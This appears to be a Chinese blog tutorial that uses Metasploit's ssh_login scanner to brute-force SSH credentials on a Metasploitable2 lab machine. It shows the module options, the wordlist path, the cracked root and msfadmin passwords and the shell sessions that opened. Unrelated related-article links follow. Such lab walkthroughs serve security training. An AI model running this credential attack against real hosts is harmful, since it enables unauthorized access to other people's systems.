Metasploit通过ssh暴力破解

ops/2025/1/17 16:03:38/

ssh暴力破解">Metasploit通过ssh暴力破解

查询ssh_login模块 search ssh_login

msf5 auxiliary(sniffer/psnuffle) > search ssh_loginMatching Modules
================#  Name                                    Disclosure Date  Rank    Check  Description-  ----                                    ---------------  ----    -----  -----------0  auxiliary/scanner/ssh/ssh_login                          normal  No     SSH Login Check Scanner1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login ScannerInteract with a module by name or index, for example use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

run

使用auxiliary/scanner/ssh/ssh_login模块, 设置相关参数

msf5 auxiliary(scanner/ssh/ssh_login) > show optionsModule options (auxiliary/scanner/ssh/ssh_login):Name              Current Setting     Required  Description----              ---------------     --------  -----------BLANK_PASSWORDS   false               no        Try blank passwords for all usersBRUTEFORCE_SPEED  5                   yes       How fast to bruteforce, from 0 to 5DB_ALL_CREDS      false               no        Try each user/password couple stored in the current databaseDB_ALL_PASS       false               no        Add all passwords in the current database to the listDB_ALL_USERS      false               no        Add all users in the current database to the listPASSWORD                              no        A specific password to authenticate withPASS_FILE                             no        File containing passwords, one per lineRHOSTS            192.168.80.201      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT             22                  yes       The target portSTOP_ON_SUCCESS   false               yes       Stop guessing when a credential works for a hostTHREADS           25                  yes       The number of concurrent threads (max one per host)USERNAME                              no        A specific username to authenticate asUSERPASS_FILE     /root_userpass.txt  no        File containing users and passwords separated by space, one pair per lineUSER_AS_PASS      false               no        Try the username as the password for all usersUSER_FILE                             no        File containing usernames, one per lineVERBOSE           true                yes       Whether to print output for all attempts

这里使用msf自带的字典对metaspliotable2, root用户进行爆破。

/usr/share/metasploit-framework/data/wordlists, 使用root_userpass.txt(文件内)

由于知道root用户密码, 最字典最后添加一行即可。具体字典根据实际情况使用可结合社会工程学。

[-] 192.168.80.201:22 - Failed: 'root:ibm'
[-] 192.168.80.201:22 - Failed: 'root:monitor'
[-] 192.168.80.201:22 - Failed: 'root:turnkey'
[-] 192.168.80.201:22 - Failed: 'root:vagrant'
[+] 192.168.80.201:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 2 opened (192.168.80.200:43555 -> 192.168.80.201:22) at 2020-09-09 02:32:13 -0400
[+] 192.168.80.201:22 - Success: 'root:123.com' 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 3 opened (192.168.80.200:38359 -> 192.168.80.201:22) at 2020-09-09 02:32:14 -0400

这里发现msfadmin和root都连接成功。通过sessions -i连接ttl


http://www.ppmy.cn/ops/150845.html

相关文章

第三十九章 Spring之假如让你来写MVC——番外篇:类型转换

Spring源码阅读目录 第一部分——IOC篇 第一章 Spring之最熟悉的陌生人——IOC 第二章 Spring之假如让你来写IOC容器——加载资源篇 第三章 Spring之假如让你来写IOC容器——解析配置文件篇 第四章 Spring之假如让你来写IOC容器——XML配置文件篇 第五章 Spring之假如让你来写…

[原创](Modern C++)现代C++的关键性概念: 原始字符串字面变量R“()“和LR“()“

常用网名: 猪头三 出生日期: 1981.XX.XX 企鹅交流: 643439947 个人网站: 80x86汇编小站 编程生涯: 2001年~至今[共23年] 职业生涯: 21年 开发语言: C/C、80x86ASM、PHP、Perl、Objective-C、Object Pascal、C#、Python 开发工具: Visual Studio、Delphi、XCode、Eclipse、C Bui…

深度学习与通信技术的融合:未来的创新与机遇

目录 引言&#xff1a;深度学习与通信技术的结合深度学习在通信领域的应用深度学习与通信技术融合的前景与挑战博雅智信的辅导模式学术诚信声明 引言&#xff1a;深度学习与通信技术的结合 随着信息技术的飞速发展&#xff0c;深度学习在多个领域取得了显著进展。通信技术作为…

WebSocket实现分布式的不同方案对比

引言 随着实时通信需求的日益增长&#xff0c;WebSocket作为一种基于TCP的全双工通信协议&#xff0c;在实时聊天、在线游戏、数据推送等场景中得到了广泛应用。然而&#xff0c;在分布式环境下&#xff0c;如何实现WebSocket的连接管理和消息推送成为了一个挑战。本文将对比几…

基于 Vue 的拖拽缩放卡片组件:实现思路、方法及使用指南

引言 在前端开发中&#xff0c;实现可交互的组件能够极大地提升用户体验。本文将介绍一个基于 Vue 封装的可缩放卡片组件&#xff0c;从实现思路、代码具体实现以及使用方法等方面进行详细阐述&#xff0c;帮助开发者更好地理解和运用这一组件。项目源码地址&#xff1a;https…

如何在 ASP.NET Core 中实现速率限制?

在 ASP.NET Core 中实现速率限制&#xff08;Rate Limiting&#xff09;中间件可以帮助你控制客户端对 API 的请求频率&#xff0c;防止滥用和过载。速率限制通常用于保护服务器资源&#xff0c;确保服务的稳定性和可用性。 ASP.NET Core 本身并没有内置的速率限制中间件&…

CORBA等一些主流的软件构件标准

1. CORBA(Common Object Request Broker Architecture) 简介: CORBA是由OMG(Object Management Group)制定的分布式对象标准,旨在支持异构系统之间的互操作性。它允许不同语言和平台编写的对象相互通信。 核心组成: ORB(Object Request Broker): 提供分布式对象调用的核…

Visual Studio Code (VSCode)为当前项目设置保存时自动格式化

在 Visual Studio Code (VSCode) 中&#xff0c;你可以为单个项目设置特定的配置&#xff0c;而不会影响全局设置。这可以通过创建项目级别的设置文件来实现。以下是具体步骤&#xff1a; 为当前项目设置保存时自动格式化 打开命令面板&#xff1a; 使用快捷键 CtrlShiftP&…